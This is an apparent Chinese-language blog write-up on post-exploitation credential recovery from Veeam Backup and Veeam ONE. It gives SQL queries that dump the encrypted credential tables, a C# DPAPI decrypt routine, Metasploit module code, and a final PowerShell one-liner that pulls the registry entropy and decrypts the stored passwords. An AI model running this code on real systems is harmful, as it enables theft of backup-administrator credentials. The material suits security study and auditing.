Veeam-小记

Veeam

致谢:

S3cur3Th1sSh1t

Metasploit

Checkymander

由上边两篇源码,一篇原理,我们了解Veeam 加密逻辑,通过DPAPI加密凭证。

什么是DPAPI

Data Protection Application Programming Interface is a simple cryptographic application programming interface available as a built-in component in Windows 2000 and later versions of Microsoft Windows operating systems

书归正传

  • 代码示例1:

    获取加密得凭证

    1
    SELECT user_name, password FROM VeeamBackup.dbo.Credentials

    代码示例2:

    解密核心逻辑

    出处:learn.microsoft.com/zh-cn/dotnet/standard/security/how-to-use-da…

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    static string DecryptPassword(string encryptedPassword)
    {
    try
    {
    byte[] encryptedbytePassword = Convert.FromBase64String(encryptedPassword);
    byte[] decryptedData = ProtectedData.Unprotect(encryptedbytePassword, null, DataProtectionScope.LocalMachine);
    return Encoding.Default.GetString(decryptedData);
    }
    catch (Exception ex)
    {
    Console.WriteLine($"Error decrypting password: {ex.Message}");
    return string.Empty;
    }
    }

环境不可用

  • 从msf 官方发现了一个post 后渗透插件

    代码示例1:

    获取加密凭证

    1
    SELECT user_name,password FROM monitor.Credentials

    代码示例2:

    1
    2
    3
    4
    # Veeam ONE switched from weaksauce PBKDF2 to DPAPI with static entropy between 11.0.0 and 11.0.1
    # DPAPI is in use if there is an an "Entropy" value under HKLM:\SOFTWARE\Veeam\Veeam ONE\Private\
    if !@vom_entropy_b64.nil? && !@vom_entropy_b64.empty? # New-style (DPAPI)
    cmd_str = "Add-Type -AssemblyName System.Security;[Text.Encoding]::Unicode.GetString([Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String('#{b64}'),[Convert]::FromBase64String('#{@vom_entropy_b64}'), 'LocalMachine'))"

    从代码中,我们可以看到,和之前代码逻辑想比,Veeam One Monitor 版本加密,将注册表中 HKLM:\SOFTWARE\Veeam\Veeam ONE\Private\​的二进制值,传入该解密方法中。

    那么我们跟进一下代码

    image

    两段代码同时都调用了微软官方的这个接口

    我们来看核心函数:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    /// <summary>Decrypts the data in a specified byte array and returns a byte array that contains the decrypted data.</summary>
    /// <param name="encryptedData">A byte array containing data encrypted using the <see cref="M:System.Security.Cryptography.ProtectedData.Protect(System.Byte[],System.Byte[],System.Security.Cryptography.DataProtectionScope)" /> method.</param>
    /// <param name="optionalEntropy">An optional additional byte array that was used to encrypt the data, or <see langword="null" /> if the additional byte array was not used.</param>
    /// <param name="scope">One of the enumeration values that specifies the scope of data protection that was used to encrypt the data.</param>
    /// <exception cref="T:System.ArgumentNullException">The <paramref name="encryptedData" /> parameter is <see langword="null" />.</exception>
    /// <exception cref="T:System.Security.Cryptography.CryptographicException">The decryption failed.</exception>
    /// <exception cref="T:System.NotSupportedException">The operating system does not support this method.</exception>
    /// <exception cref="T:System.OutOfMemoryException">Out of memory.</exception>
    /// <exception cref="T:System.PlatformNotSupportedException">.NET Core and .NET 5+ only: Calls to the <c>Unprotect</c> method are supported on Windows operating systems only.</exception>
    /// <returns>A byte array representing the decrypted data.</returns>
    public static byte[] Unprotect(
    byte[] encryptedData,
    byte[]? optionalEntropy,
    DataProtectionScope scope)
    {
    ProtectedData.CheckPlatformSupport();
    if (encryptedData == null)
    throw new ArgumentNullException(nameof (encryptedData));
    return ProtectedData.ProtectOrUnprotect(encryptedData, optionalEntropy, scope, false);
    }

    函数作用:Decrypts the data in a specified byte array and returns a byte array that contains the decrypted data.

    第一个参数,byte[] 的加密数据

    第二个参数: 解密指定字节数组中的数据,并返回包含解密数据的字节数组。

    第三个参数: 指定用于加密数据的数据保护范围的枚举值之一。

    返回是解密的数据byte[] 数组

落地代码

  • 本地解密

    1
    2
    3
    $data = "<crypted data>"
    $key = [Convert]::ToBase64String((Get-ItemPropertyValue -Path 'HKLM:\\SOFTWARE\\Veeam\\Veeam ONE\\Private\\' -Name Entropy))
    Add-Type -AssemblyName System.Security;[Text.Encoding]::Unicode.GetString([Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String($data),[Convert]::FromBase64String($key), 'LocalMachine'))